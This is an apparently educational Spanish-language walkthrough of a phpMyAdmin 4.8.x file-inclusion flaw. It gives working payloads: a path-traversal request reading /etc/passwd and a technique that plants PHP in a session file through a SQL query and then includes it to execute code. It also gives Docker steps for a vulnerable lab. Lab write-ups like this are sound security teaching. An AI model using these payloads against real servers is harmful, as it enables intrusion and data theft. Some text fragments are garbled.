Demo educativa de exploit para CVE-2018-1263 (RCE/LFI en phpMyAdmin). Incluye configuración del entorno vulnerable mediante Docker y un recorrido paso a paso del ataque para aprender sobre explotación de aplicaciones web.
Esta guía te ayudará a instalar el componente vulnerable y realizar el ataque relacionado con el error de phpMyAdmin mencionado en CVE-2018-1263.
Este exploit está relacionado con un problema descubierto en phpMyAdmin versión 4.8.x anterior a 4.8.2. Al explotar el problema, un atacante puede ejecutar código remoto e incluir archivos locales en el servidor. La vulnerabilidad se debe a la parte del código responsable de redirigir y cargar páginas dentro de phpMyAdmin. El código tiene una prueba defectuosa para las páginas de la lista blanca que hace posible el ataque. Un atacante debe estar autenticado, excepto en el caso "$cfg['AllowArbitraryServer'] = true" (donde un atacante puede especificar cualquier host que ya controle y ejecutar código arbitrario en phpMyAdmin) y en el caso "$cfg['ServerDefault'] = 0" (que omite el requisito de inicio de sesión y ejecuta el código vulnerable sin autenticación).
La vulnerabilidad es causada por una omisión de la validación en la función vulnerable de comprobación de rutas. Esta vulnerabilidad permite a un atacante remoto autenticado ejecutar código PHP arbitrario en el servidor.
Hay una inclusión de archivos en index.php de phpMyAdmin que se puede provocar proporcionando un parámetro llamado en la URL, y la parte del código que valida el parámetro se parece a lo siguiente:
targettarget$target_blacklist = array (
'import.php', 'export.php'
);
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
// ...
En este código, una vez que la condición del if se cumple, se ejecuta include $_REQUEST['target'];. Así que solo necesitamos omitir la condición del if para ejecutar lo que queramos.
Veamos la condición del if
$target_blacklist
$target_blacklist se define justo antes de la condición del if e incluye import.php y export.php, lo que significa que se permite cualquier cosa excepto estas dos páginas.Core::checkPageValidity($_REQUEST['target']).
checkPageValidity elimina todo lo que está después de ? de $page y comprueba si está en la lista blanca. La cadena después de ? no forma parte de la ruta de la URL. En el fragmento también se muestra un ejemplo de lista blanca.public static function checkPageValidity(&$page, array $whitelist = [])
{
// ...
$_page = mb_substr($page, 0, mb_strpos($page . '?', '?'));
// example $whitelist == array('db_sql.php', 'sql.php', ...)
if (in_array($_page, $whitelist)) {
return true;
}
// ...
return false;
}
$page, ya que proviene directamente de $_REQUEST['target'].Como se mencionó anteriormente, el atacante tiene control total sobre $page en la función checkPageValidity a través del parámetro $_REQUEST['target'] en la URL. Imaginemos que el atacante envía algo como lo siguiente usando el parámetro $_REQUEST['target'] en $page
$page = 'db_sql.php?/../../../../../../../../etc/passwd'
La función checkPageValidity realiza lo siguiente
? y asigna la primera parte a $page. Así, en este ejemplo, el valor de $page = db_sql.php.$_page, es decir, db_sql.php, está en la lista blanca o no. Como está en la lista blanca, la función devuelve True y vuelve a index.phpComo la condición del if en index.php ahora es True, se ejecuta la siguiente línea, como se muestra en el fragmento de código de index.php anterior
include $_REQUEST['target'];
Lo que sucede a continuación es
$_REQUEST['target'], lo que significa que se ejecuta lo siguiente
GET /index.php?target=db_sql.php?/../../../../../../../../etc/passwd
db_sql.php existe o no, se ejecuta /../../../../../../../../etc/passwd y el contenido del archivo /etc/passwd se envía en la respuesta al atacante.Ahora podemos usar esto para realizar inclusión de archivos locales o incluso ejecución remota de código para obtener una reverse shell. Cada vez que ejecutamos una consulta en phpMyAdmin, se crea un archivo de sesión y se almacena en el directorio /tmp con el contenido de la consulta. El archivo de sesión se llama sess_< SESSION ID >. El ID de sesión se puede encontrar fácilmente en la cookie usando la opción de inspección del navegador.
Entonces, si ejecutamos la siguiente consulta en phpMyAdmin
SELECT '<?php phpinfo();exit;?>'
Se almacenará en el archivo de sesión. Imaginemos que nuestro ID de sesión para phpMyAdmin es e15cffd3ab25a631136611fba9ca2042
Luego, si activamos la siguiente dirección en el navegador
http://your-ip:8080/index.php?target=db_sql.php?/../../../../../../../../tmp/sess_e15cffd3ab25a631136611fba9ca2042
Entonces phpMyAdmin intentará cargar la página de sesión y, como la página contiene el código PHP proporcionado a través de la consulta, el código PHP se ejecutará y, en este ejemplo en particular, veremos phpinfo en la página cargada por el navegador. Con esta técnica podemos ejecutar cualquier código arbitrario en el servidor remoto.
La infraestructura del exploit requiere una versión vulnerable de phpMyAdmin y mysql. Usaremos contenedores docker para instalar los componentes necesarios. Para la versión vulnerable de phpMyAdmin usaremos el entorno docker preconstruido de Vulhub y para mysql usaremos la última versión oficial de dockerhub. El script de instalación se proporciona como un script yml de docker compose que se puede encontrar en el repositorio.
Asumimos que la máquina destinada tiene docker y docker-compose instalados. Si no es así, consulta la documentación de docker para instalarlos. Una vez que docker esté instalado, realiza los siguientes pasos para configurar el componente vulnerable:
Primero clona el repositorio en la máquina destinada y navega al directorio clonado
git clone [email protected]:msnkhan/exploit-demo.git
cd exploit-demo
Luego ejecuta el script de docker compose usando el siguiente comando
sudo docker-compose up -d
Una vez que el proceso de instalación termine, docker expondrá la página de phpMyAdmin en el puerto 8080 de tu máquina. Puedes comprobarlo abriendo la página en tu navegador usando el siguiente formato de dirección
http://your-machine-ip:8080
Si el proceso de instalación es exitoso, deberías ver una página como la siguiente

El siguiente video es un tutorial sobre cómo realizar el ataque